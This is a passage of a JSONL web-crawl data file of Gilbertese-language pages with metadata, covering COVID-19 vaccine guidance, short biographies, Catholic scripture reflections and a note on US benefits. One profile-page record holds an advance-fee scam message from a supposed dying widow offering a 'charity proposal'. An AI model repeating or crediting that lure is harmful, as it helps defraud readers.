— BWTR). Taiaoka butia am tia kammwakuri bwa e na tuoa aram ao rongorongom (ni ikotaki ma am bong ni bung, nambwan am tarebon ao am NHI nambwa) bwa a eti ake a rin n te BWTR.\nTaetae nakon am tia kammwakuri ngkana ngkoe te tia mwakuri n tian te aba ke tabo ni kaonoti ake a tararuaki (MIQ) ae e tuai n reitaki te aba nakoim ibukin kabaean am tai ni iti.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/the-covid-19-vaccine\/how-to-get-a-vaccine\/booking-your-covid-19-vaccination\/","date":"2021-10-23T21:20:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585768.3\/warc\/CC-MAIN-20211023193319-20211023223319-00205.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":717,"character_repetition_ratio":0.085,"word_repetition_ratio":0.025,"special_characters_ratio":0.227,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E bungiaki n 551 B.C. A mate ana karo ngke te ataei. Ana moan tia reirei China ae kabooaki. Bon te tia iango n tuan te eti ao te kaairua ao te botanaomata ae moan te korakora i China. E taekina ti teutana taekaia aomata aika tamnei ke taian mwaaka mai i karawa. E kakoauaa bwa karawa e a tia n anganna ana mwakuri ae tabu bwa te tiambion n te raoiroi ao te koaua.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/incubator.wikimedia.org\/wiki\/Wp\/gil\/Confucius","date":"2021-10-21T01:55:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585380.70\/warc\/CC-MAIN-20211021005314-20211021035314-00471.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":74,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E bungiaki i Wales n 1494. E reirei n te Reirei ae te Oxford ao te Cambridge. E raira te Nu Tetemanti nakon te Ingiriti. E katauraoi koroboki aika tabu nakoia aomata nako ni kaoti reirei aika a kaairua ao taan kairiiri aika bubuaka n te aro. E katuaeaki ma n tiringaki\nn 6 Okitobwa 1536.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/incubator.wikimedia.org\/wiki\/Wp\/gil\/William_Tyndale","date":"2021-10-23T15:05:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585696.21\/warc\/CC-MAIN-20211023130922-20211023160922-00405.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.491,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Kanga tera ae ko na namakinna?||Tera ae e kona ni ibuobuoki||N ningai ae ena moan n reke aei|\n|Marakin te tabo are e itinaki, te maraki n atu ao namakinan te kua ao bon te kua ae korakora ao man reitinako.\n\n\nAikai bwai ake a ribotinaki bwa a reke imwuin te iti aei.\n|Katoka te kunikai ae e maitoro ke e mwaimwai, ke te ice ae nangoaki iaon te tabo are e itinaki ma tai kamanna.\n\n\nTai bubua te tabo are e itinaki ke n ringnga ni kabutia.\n|Inanon 6 nakon 24 te aoa|\n|E kona ni maraki te mwatireti, namakinan te ang n aoraki, te mariri, te kabuebue ae e korakora, marakin te toma n rii ao e kona naba n reke te kani mumuta.||Motirawa ao kamaita te moi.\n\n\nA kona ni kabonganaki te Paracetamol ke ibuprofen, ma ana iraki aia kaetieti tan karao bwainaoraki.\nKakaea buokam mai irouia tan kukua ngkana a rikirake korakoran kanikina aikai.\n|Inanon 6 nakon 48 te aoa|\nN aron bwainaoraki nako, e kona naba ni iai bwai aika a kona n riki aika aki kantaningaki nakoia tabeman i muin itinakia n te iti n totoko. Aio bon ana mwakuri te rabwata ni kaotia bwa e mwakuri te iti n totoko.\nTabeua bwai aika a kona n riki a bebete, ao aki teimaan ao ana aki tuka manga itinakim kaua ke n tukiko man bwai ake ko tataeneiai ni karaoi\nMuin te iti n totoko kanga a kona riki n rereke i muin am kauoua ni iti.\nA kona naba n reke n korakora muin te iti (allergic) ma e rangi n karako rekeia. Tan iti i Nutiran a ti n reireinaki aron tararuan baikai. Tabeua bwai ake a reke i muin te iti a kon n rota am kabuti kaa ke kabonganan mitin ni mwakuri. Ngkana arona bwa e reke aio, taiaoka maroro ma am tia kammwakuri.\nNgkana arona bwa ko namakini kanikina ake kanga ai aron te COVID-19, n aron te bekobeko ae e bou man aki totoki, te kabueubue ae korakora, ke bitakin namakinan am noo kangkang ke aroboi, tiku ni mwengam ao karaoa am tutuo ibukin te COVID-19.\nNgkana iai te bwai ae riki ae eaki kantaningaki nakoim man am iti n totoko ibukin te COVID-19, ena riai am tia iti n ribotinna nakon te Centre for Adverse Reaction Monitory (CARM).\nKo kona n ribotini bwai aika aki kantaningaki n reke iaon ana uebutiati (website) te CARM: otago.ac.nz\/carm (external link).\nNgkana ko aki koaua raoi ni kanikina ke a rikirake ni korakora taetae ma am taokita (GP) ke tarebonia Healthline on 0800 358 5453.\nNgkana iai tabeiangam ibukin manom ke tanim taebonia l 111 ao kaongoia raoi are koa tia n itinaki n te iti n totoko ibukin te COVID-19 bwa aonga n tuoko raoi ao ni karekea aia reke ae eti ibukim.\nIti n totoko a buoka katanaia aomata ni kabane man aoraki aika a ewewe n aron te mitira ao te buru (flu)\nTaetae ma am tia tararuai ibukin maurim n ongora raoi ngkana a bane ni koro itim ao a bane naba itia n totoko am utu. Nakon health.govt.nz\/immunisation (external link) ibukin riki rongorongo.\nKo riai n taninga uoua te wiki i muin am kauoua n iti n totoko ibukin te COVID-19 i mwain are ko itinaki riki n iti n totoko tabeua.\nLast updated:","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/the-covid-19-vaccine\/how-to-get-a-vaccine\/after-your-immunisation\/","date":"2021-10-16T08:36:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323584554.98\/warc\/CC-MAIN-20211016074500-20211016104500-00057.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":550,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nTairu ma maneu E mate Iesu iaon te Kaibangaki ba E na kaboira n rarana ae moan te tabu ao n anganira te kona n riki ba natin te Atua ao te botanaomata ae rineaki I rouna. E mate Iesu ibukia aomata ni kabane n akea temanna ae katukaki.\nMa e na tabanin te kamaiuaki iroura ngkana ti butimaea te Tamnei ae Raoiroi ao n irira nanon te Atua are E tangiria aomata ni kabane ba a na roko i Karawa i rarikina. Kainaomatan te Tamnei ae Raoiroi inanon maiura ao kairakia aomata nakon te Uea boni ngaia raoi angan reken te kamaiuaki iroura. Kairakia aomata nakon te bure boni karekean te rekenikai ae rawawata iroura are bon te mate ae aki totoki i moone.\nTi bon riai ngkanne ni butia te Atua ba E na katabuira n tai nako n Rarana ae moan te Tabu ba ti na kona ni buokiia tarira ma manera ao ni kaokiia nakon te Uea inanon te rairannano. N te aro aio ao ti na katotonga iai Iesu are E anga maiuna ibukin kabaran ara bure ba ti aonga ni katonga karoraoin te mimitong i Karawa. Tariu ma maneu ti na tuoi aron maiura ao ni butia te Tamnei ae Raoiro ba E na kaotaira n arora ake aki botau ma Nanona. Ti na butia naba ana karatia ba ti na riki ba bannan ao katotongan raoi Iesu n arora ni kabane n te aro ba ti aonga n riki ba kanga taian bikan ake a na kaota te kawai nakoia te koraki ake a bua ma n raroanako ma ana Tangira ao ana Nanoanga Atiniban Iesu ae moan te Tabu.\n- Details\n- Written by Fulitua Bauro Taraora\n-\nMan te boki ae Rinanon ana Taratara Iesu ibukin Ana Toa Tinara ae Uotakirakeana n te bong aio....\nNanon Iesu ibukira, nakon Tinana\nNgke e a toki ara tataro, ao e taku Tinau Maria, \"N nang katauraoa te amarake ba kam a bon bae n rangi ni baki.\" E kibarake man teirake Iakobo ao e taetae ma arona ae kaota te nano ni kairake, \"Tinau, tinang katauraoa ngkai marikem. E a bon rangi n riao ae ko a tia ni kakaraoia ibukira.\"\nE mananga Tinau nakon Iakobo man katoka baina iaon angana n rabatia ao e taku, \"Natiu, ko aki toki n tatauraoi n tainako n ibuobuoki. Teteinimane ngkoe ae ko rangi n raoiroi.\"\nE bon tara n rangi ni kukurei Iakobo ao e taku, \"Ao tera ae N na karaoia?\"\n\"Ngkana ko kona n nako n te maniba ni karekea ara ran teutana ao e na rangi n ibuobuoki.\" e kaeka Tinau. E anaa te tiaeke (jug) Iakobo ao e otinako ni katiotioa ao e taku, \"I aki maan.\"\n- Details\n- Written by Administrator\n-\nTi reitaki ma te Ekaretia ae banin n neboa te Atua ngkai E a tia ni kaota ana kantaninga ae moan te kororaoi ibukira ba ti na kona ni katotonga tinara Nei Maria are e uotakirake nako Karawa mani baunaki n te mimitong. Ara tangira ao ara reitaki ni koaua ma Nei Maria boni ngaia ana kawai te Ekaretia are ti a tia ni kaikawaki ao n reiakinaki iai ibukin kamaeuara ao karekean te maiu ni mimitong.\nTera aron nnen Nei Maria inanora ao n ara utu? Iai ara waaki n ara utu ke ni mwengara aika a kakoaua aron maiun ara tangira ma Nei Maria? Ti na karekea ara motinnano ae bou n te toa aio ba ti na kaboui ao ni kamarurung ara waaki n reitaki ma tinara Nei Maria ni kakaonimaki ni karaoa ara korona ni katoa bong, ni ueuena tamnein Nei Maria n ara auti ke n tataro ni bubuti nakoina ba e na kawakina ara utu ao ni buobuokira ni kainnaora nako. Ma ae kakawaki riki ba ti na ira nanon Nei Maria ni kan karikira ba bannan ao katotongan raoi Natina ae Iesu ba ti aonga ni bane ni kamaiuaki.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=1520","date":"2021-10-17T00:34:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00487.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":660,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.391,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I am Mrs. Julie Mewis, an aging widow suffering from long time illness (Esophageal Cancer). I have some important information (charity proposal) for you, May God continue to bless you, Please reply (email@example.com) for more details.\nMauri Manaean nte ririki ae boou aio. E rabawa naba te tangira kae tia manga kona n reitaki naba nte site aio. Neiko iai au kan bubuti nakoim kana ko kona n reitaki ma ngai n au gmail adress ibukin kan otau n te mane are e kona n reke man te provident fund ibukin ngkoa te kanganga are e riki n taai aika a nako. Aio au adress: firstname.lastname@example.org. Ko rabwa ao ia manga ongora mai iroum. Tekeraoi am waki ikanne ma am utu. Ngai Terenga Tamoaieta.\nE uara te business.........I heard from Takeiti ae ko nang butimwaai raoi nakoia ami customers n last friday night..........ngkoe tibwangam te weweteia customers ao ribua tibwangana te full smile ao te uouoia customers..........kam bon team work raoi.......!!!!!!\nKona mauri Manaen!\nKouara ma am koraki te ririki aio? Tao kam bane ni marurung raoi nai arora ikai i Labasa. Ea bon ma'an te tai naki kakarabakau ma eraba te Atua te kaitibo. Tao bon te katauraoi ibukia ataei te rerei ao iangoan ba'i aika ana karaoaki nte namakaina aio.\nKona na teke raoi ma koraki ao ia manga ongo mairoum","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/banabanvoice.ning.com\/profile\/Manaen","date":"2021-10-17T00:29:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00645.warc.gz","language":"gil","language_score":0.9995740056,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9995740056037903}","num_words":223,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.22,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 23 Kanimabong\nWarekan ana moa n Reta Bauro nakon Timoteo..1: 1-2, 12-14\nBauro, ae kateaki ba ana Abotoro Kristo Iesu, n ana baire te Atua ae ara Tia Kamaiu ao Kristo Iesu ae ara kantaninga. Nakon Timoteo, ae natiu ni koaua i nanon te onimaki. Am bai te akoaki, te nanoangaki ao te raoi mai iroun te Atua te Tama ao mairouni Kristo Iesu ae ara uea.\nI katituraoa Kristo Iesu, ae ara Uea are e anganai te korakora, ba E onimaki, ni kateai n te nakoa, ngai ae ti arou ngkoa te taetae buakaia ma ni bainikirinna ao te tinaraia. Ma I nanoangaaki, ba I tuai onimaki ngkekei, ao I aki ata are I karaoia. Ao e korakora akoau iroun te Uea ngke E anganai te onimaki ma te tangira ae i nanoni Kristo Iesu.\nTe Taramo 15: 1-2, 5, 7-8, 11\nKaekana: Tibangau ngkoe, te Uea.\nKawakinai, te Atua, katanau Ngkoe. I kangai nakon te Uea: \"Atuau Ngkoe.\nTi Ngkoe kabaiau.\"\nTe Uea ae tibangau ma au mangko, Boni Ngkoe ae Ko kawakina tibau. K.\nI karaoiroa te Uea ae buoka au iango, Ao e reireiai oin nanou ni bong.\nI kawakina taraan te Uea n tainako: Ngkai E tei i rarikiu, ao I aki baka. K.\nKo na reireiai kawain te maiu; Ane i matam te kabaia ae kororaoi,\nAo I angataim te kimareirei ae akea tokina. K.\nAlleluia, alleluia.\nOtan aonaba Ngai. Ane irai, ao e reke irouna otan te maiu. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka…6: 39-42\nE taetae ni kaikonaki Iesu nakoia ana reirei ni kangai: \"Tao e kona ni kaira te mataki te mataki? Tiaki a na uaia ni baka i nanon te marua? E aki rine te reirei nakon ana tia reirei. Te reirei nako ae kororaoi arona, ao e boraoi arona ma ana tia reirei. Ko ti tara te aneke ane i nanoni matan tarim, ao ko aki nora te raubaba ane i nanoni matam? Ko na kanga n taku nakon tarim: 'Tariu, taningaai ba N na buta te aneke ane i nanomi matam,' ao ko aki nora te raubaba ane i nanoni matam? Te tia kewea te aba, buta moa te raubaba mai matam, ao ko a noraba ngkanne ni buta te aneke ane i nanoni matan tarim.\"\nTibatiba: Buta moa te oka ane ni matam ao iana ko a tiba kona ni buta te aneke inanon matan tarim\nInanon te bong aio ao e kateaki imatara te reirei ae kakawaki ba inanon kamiuakira ao te bai ae rangi ni kakawaki ba boni ngai ae I riai moa ni kaitiaka nanon au auti imain ae I kona ni manga uota te kamaiuaki anne nakoia tariu ao maneu. Eng te bai ae kakawaki irou ba N na riai n norai ba te tia bure ni koaua ngai ae I kainanoa ana kamaiu te Uea. N na riai ni kauka nanou nakoi ana tangira ma ana nanoanga te Atua ae akea tokina ibukiu ao n ataia naba ba akea au bure ae I a tia ni karaoia ao e kona n riaon ana nanoanaga te Atua.Eng te moanibai ae I riai ni karekea irou bon onimakinan ana tangira ma ana nanoanga Iesu ibukiu ngai ae te tia bure.\nN te moan wareboki ao ti ongora aron Bauro n nanoangaki iroun te Atua ba e ringaki maiuna ngke e tuai ni kakoaua Iesu ao e aki karekea kaina te Atua ni moantai n anaa maiuna. Inanon te onimaki iroun Iesu ao te uki n nano ni koaua ni bubutia te Uea kabaran ara bure ao tebokakira n Raran Iesu ae moan te Tabu ba E na kaitiakira ao man kainaomataira, ao ngkanne ti na onikaki n riki ba taian karikibai aika bou ba ti a riki ba maneaban ao mwengan te Tamnei ae Raoiroi. Ti na bon aki kona ni kamaiuaki ngkana aronga ba ti aki kataia moa n nora te mamara are iroura ma ti tabe moa ma te mamara are irouia raora. Eng ti na bon aki kona ni kamaiuia raora ngkana e tuai moa n ura inanora ain ana tangira te Uea.\nTe kauoua ni bai ae ti riai ni karaoia ba e aonga ni banin iroura te kamaiuaki are e anganira Iesu bon te tauraoi n riki ba mitinare ngaira aika tan uota ana raoi ma ana tangira te Uea nakoia raora. Ti na bon aki kamaiuaki ngkana ti aki tauraoi ni kaota ao ni uota ana tangira te Uea nakoia raora. Eng ti weteaki n te bong aio ba ti na butia te Atua ba e na kaitiaki ma ara taratara ba ti aonga n nori kainnanoia tarira ma manera ao ni kaokia nakon te Uea.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1672-buta-moa-te-oka-ane-ni-matam-ao-iana-ko-a-tiba-kona-ni-buta-te-aneke-inanon-matan-tarim","date":"2021-10-17T00:32:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00076.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":770,"character_repetition_ratio":0.054,"word_repetition_ratio":0.003,"special_characters_ratio":0.233,"stopwords_ratio":0.396,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 27 Kauabong\nWarekan ana Boki te Burabeti ae Iona. 3:1-10\nE a roko iroun te burabeti ae Iona ana taeka te Uea ae kangai: \"Teirake, nako Niniwe ae te kawa ae ababaki, ao kaongoia ae N na tuangko.\" Ao e teirake Iona, ao e nako Niniwe, n ai aron ana taeka te Uea. Ao bon te kawa ae moan te ababaki Niniwe, ba tenibong te bong te nakonako i aona. E rin Iona i nanon te kawa, ao e nakonako te bongina. Ao e taetae ni kangai: \"Ai ti abui riki te bong, ao e na uruaki Niniwe.\" Ao a kakoaua te Atua kain Niniwe; a katanoata te aki mamatam, ao a rabunia n te bua, mairouia ake a kakanato ni karokoia ake a mangori. E roko rongorongona iroun uean Niniwe, ao e teirake mani kaintokana n uea, ao e tekateka i aon te mannang. Ao e takaruaeaki i Niniwe ana moti te uea ma ana mataniwi, ao e katanoataki ni kangai: \"A na aki katonga te bai teuana aomata, ma man aika ababaki ma aika uarereke, ao a na aki amaamarake ao a na aki moi n te ran. A na rabunia n te bua, ao a na kanenei banaia n takarua nakon te Atua, ao a na rairaki nako man aroia aika bubuaka ao man aia bure ake a karaoi. Antai ae ataia ngkana tao bitaki nanon te Atua, ao ngkana tao e kaki ana iango ma ni koerikaki man unna ae urarake, ba ti aonga n aki mate?\" Ao E nori aia makuri te Atua ba a kaki aroia ake a bubuaka, ao e bitaki nanon te Atua man ana moti ni karekekai are E taekinna nakoia, ao E aki kakoroa bukina.\nTe Taramo 129:1-4, 7-8\nKaekana: Antai ae na maiu, te Uea Ngkana Ko tau muini bure?\nI weteiko, te Uea, i nanon rawawatau, te Uea, ongo banau.\nAnga taningam Nakon tangin au bubuti. K.\nNgkana Ko tau muini bure, te Uea, Ao antai ae na maiu, te Uea?\nMa Ko kakabarai bure: Ko kakarineaki iai. K.\nBa E nanoanga te Uea, Ti Ngaia te tia kamaiu ni koaua.\nE na kamaiua Iteraera man ana bure ni kabanea. K.\nAlleluia, alleluia.\nTe Uea, kauki nanora n ongora n ana taeka Natim. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka. 10:38-42\nE mananga Iesu ma ana reirei, ao E rin n te kawa teuana. E butimaeaki iroun te aine temanna ae arana Mareta. Iai naba tarin neierei ae arana Maria. Ao e tekateka Maria i matani Iesu, n ongongora n ana taeka. Ma e tabetabe neiere Mareta n ana makuri n akoi aika bati. Ao e rairaki ao e taku: \"Te Uea, Ko aki nanoangaai ngkai e katukai tariu ni makuri n ti ngai? Tuangnga ba e na buokai.\" E kaeka te Uea ni kangai: \"Mareta, Mareta, ko raraoma ao ko tabeaianga ni baika bati. E aki kainnano te aba ni baika bati, e tau ae ti teuana. E rinea tibangana ae raoiroi riki Maria, ao e na aki anaki mairouna.\"\nTibatiba: E rinea tibangana ae raoiroi riki Maria, ao e na aki anaki mairouna.\nTariu ao maneu ti ongora n n te bong aio aron kakawakin te tibanga ae ti riai n ukeria ao ngkana e reke ao ti na riai ni kawakinna ao n tararuaia raoi ba e na aki bua ngkai bon tibangara aikai aika a na karokoira nakon te maiu ae akea tokina i Karawa. A na bon aki kona ni bua tibangara aikai ngkai a bon reke mairoun te Atua. N te moan wareboki ao ti ongora aroia kain Ninive ni butinaea ana rongorongo te Atua are uotia te burabeti ae Iona ba a na rairi nanoia ao a na kitan aroia ni bure ao ni karaoa te buakaka.Eng ti ongo aroia n tauroia n rairi nanoia ba muina ao a kamateaki. N te ewangkerio ao ti ongora aron Maria ao tarina are Mareta ni butimaea Iesu ngke E kawaria n aia auti. Mareta e katabea ana iango ni katauraoa te moi ao te amarake ibukin Iesu ma Maria are tarina e kabanea ana tai ni tekateka i rarikin Iesu ao n ongora n ana maroro. Ke e roko Mareta ni kaota tangin nanona ibukin tarina ae Maria ba e katikua n aki buokia ao e boa Mareta n tuanga ba Nei Maria e a tia n rinea tibangana ae kakawaki n tiku n irarikin Iesu ao n ongongora irouna. Eng a na bon kawakinaki tibangara mairoun Iesu ngkana ti teimatoa ni kakaraoa Nanon te Uea. Ti na teimatoa n nim ma Iesu ae bon ti Ngaia te kawai, te koaua ao te maiu.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1681-e-rinea-tibangana-ae-raoiroi-riki-maria-ao-e-na-aki-anaki-mairouna","date":"2021-10-16T23:12:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00139.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":766,"character_repetition_ratio":0.043,"word_repetition_ratio":0.011,"special_characters_ratio":0.237,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 28. Kauabong.\nWarekan ana Reta Bauro nakoia I Roma. 1:16-25\nI aki mama i bukin te Euangkerio, ba bon te korakora I bukini kamaiuaia tan onimaki, aika I Iutaia moa, ao I muina I Erene. Ba e kaotaki ana raoiroi te Atua i nanon te Euangkerio n te onimaki, ao I bukin te onimaki, n ai aron te taeka ae koreaki, ae kangai: \"E maiu n te onimaki te aomata ae raoiroi.\"\nBa e kaotaki mai karawa unin te Atua i bukini buakakaia aomata ma ioawaia, ngkai a kabaea te koaua n te buakaka. Ba a bon ata taekan te Atua ae kona n ataki, ngkai E a tia ni kaootia te Atua nakoia. Ba aron te Atua aika aki noraki, n ataki n te iango, ba a noraki muin ana makuri ngke E a tia ni karika aonaba. E ataki iai makana ae akea tokina ae arona n Atua. Ma ngaia ae akea kabebetean aia bure, ba a ata te Atua, ao a aki neboia ma ni katituaraoia, n ai aron ae e riai nakon te Atua. Ma a riki ni bangabai, ao a karooaki aia iango aika akea wanawanaia. A baka ni wanawana, ao riki n nanobaba. A kaakeaa mimitongin te Atua ae aki mamate, ao a onea muina ni katotongan te aomata ae mamate, ae katotongaia man aika kibakiba, aika nakonako ao aika kawakawa. Ma ngaia are E katikuia te Atua ma kaibabarun nanoia ao buakakaia, ake a kamatauningai oin rabataia iai. Ba a kaki ana koaua te Atua, n onea muina n te kewe; ao a taromauria ma ni karinea te bai, n onea muin te tia kariki baai, ae karaoiroaki n aki toki. Amen.\nTe Taramo 18: 2-5\nKaekana: E kaota, mimitongin te Atua karawa.\nE katanoata mimitongin te Atua karawa,e kaota muini baina tinanikuni karawa,\nE karakinna te ngaina nakon te ngaina,e kaota taekana te bong nakon te bong. K\nTiaki te taeka, ao tiaki te taetae,Ao akea te bana ae oti,\nMa a roko banaia I tabon aonaba,Ao a roko aia taeka n tian aon te aba. K\nAlleluia, alleluia.\nTe Atua, raira nanou nakoim, ao reireiai am tua. Alleluia.\nWarekan ana Euangkerio Ruka.11: 37-41\nE kaoa Iesu temanna te Baritaio ba e na amarake n ana auti. Ngke E roko, ao E kaea nnena n amarake. Ngke e nora anne te Baritaio, ao e mimi, ba E aki tebokia moa i main amarakena. Ma E taku te Uea nakoina: \"Bon aekami anne, ngkami Baritaio! Kam kaitiaka tinanikun te mangko ma te raurau, ao a on nanomi: n te babakanikawai ma te buakaka! Kam nanobaba! Teuare karaoa tinanikuia ao tiaki e karaoa naba nanoia? An anga ami bai ba bai n tituaraoi, ao a na bane bai ni itiaki i bukimi.\"\nTibatiba: Nanora aika a bainaki ni koaua iroun te Atua\nTi riai ni bane n ataia ba a na babane nanora ni bainaki iroun te Atua ngkana ti tauraoi ni kaburei maiura ni kabane Nakoina ao ti tangiri bai nako ake tangiri te Atua. Ba n tokina ao bon aio te bai ae botau ma ana kantaninga te Atua ngkai bon ti aio oin ana kantaninga ba E tangira kabaiara ma mwengaraoira ao tiaki matera ma katekebuakakira. Ao boni ngaia anne bukin maten Iesu Kristo ibukira ba E na uea iaoia aikana mate ma aika maiu n aron are taekinna St Bauro are kangai ba ngkana ti maiu ke ti mate ao bon ana bai te Uea ngaira. Ngkai E a tia Iesu ni motikia ba E na mate ibukira, ao tera riki ae kona ni karaoia na E na kaota kororaoin tangirara ao E na riki Iesu ba ti Ngaia ara Uea ao Atuara? Ibukin aio ao e a roko ara tai ngaira imatan ni kaotia imatan karawa ma aonnaba ba bon tiaki ngaira aika ti baibai n oin rabatara na ma bon Iesu ara Uea ma Atuara ae baina rabatara, tamneira ao maiura ni kabane.\nEng E korakora Nanon te Atua ni kan nora te nano ae E ataia ni koaua ba bon ana bai. Ba iai te tangira ae korakora ibukina ae E aki kona n noria? Ke iai te nano ae maraurau ae aki kona ni kabaroa ana tangira ma ana karaoiroi iaona? Tiaki ba E na bon kabaroa ana kakabaia ma ana karaoiroi mai Karawa nakon ane e kabanea ni kaburea maiuna nakoina?\nNgkami tan onimaki mani tani kakaonimaki, nakomai butimaea ao kaitibo ma Iesu: ngkana E bane Nanona ao kukurein Nanona ni kan baini maiura ao ngaira bon ara bai te kukurei ba ti na baina te Atua ibukin kabaiara. E taku ana Iesu nakon Santa Avila: \"Teretia, ni karokoa ngkai ao ko tuai ni riki ba au bai ngkoe ni koaua, ma ngkai ko a riki ni koaua ba au bai ni kabane ngkoe ao I ataia ba am bai Ngai ni kabane\" Ba e mate Nanon te Atua n tai nako ni kan reitaki ma ngaira, E bon karebwebwe Iesu i matan mataroan nanora n tai nako ba ti na kauka nanora Nakoina ba ti aonga n reitaki n ti teuana ma Ngaia.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1683-nanora-aika-a-bainaki-ni-koaua-iroun-te-atua","date":"2021-10-17T01:09:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00189.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":845,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.388,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Buoka man te Abamakoro\/Tautaeka (Fed\/State Benefits)\nI uringa ni uarerekeu ao ngke i ongongo taekan te maeka i Amerika ao iaki toki n ongongo aia karaki ara ikawai ae kangai, \"e rang raoiroi te maeka i Amerika bwa e bwabwaka am mwane ao ko aki bae ni mwakuri\". Teuana naba ae i aki mwamwaninga bwa a taku bwa, \"e kamaeu te maeka i Amerika ma natim aika a mwaiti bwa ngaia maitin natim ai bon tiran naba am mwane\". Kanga aikai ongongom ni karaki ao ngkoe are ko ongo koa bon tangira naba te kan nako Amerika bwa e tara ni bebete te maeu iaona, eara?. N tabetai ao ko ongo are a taku bwa akea boon te reirei, akea boon te taokita ao akea boon bwaai n aoraki ao atakina bwa e rang raoiroi te reirei ma te onaoraki, e aera bwa tina aki roko i Amerika? Ngaia are ma te kantaninga aei ao e korakora te kan nako Amerika ibukin te kabwaia ibukim ma am utu.\nEang tao eeti bwa akanne bwaai aika ti ongotao taekaia, ao iai etin karaki akanne ao iai naba iteran karaki akanne ake ti aki rang ota iai ke ni matata iai. N au makoro ni maroro aio ao nna rinanon taekan tibwanga ke buoka ake a bon kona n reke nakoira ngaira kain Kiribati-IMatiare ake ti maeka iaon Amerika. E bobonga Buoka aikai a bon tatannako ma aekaia, maaniia ao korakoraia nakoim ngkoe bwa ko roko bwa te kara, ke ko roko ma natim ke ko roko bwa te mwauku 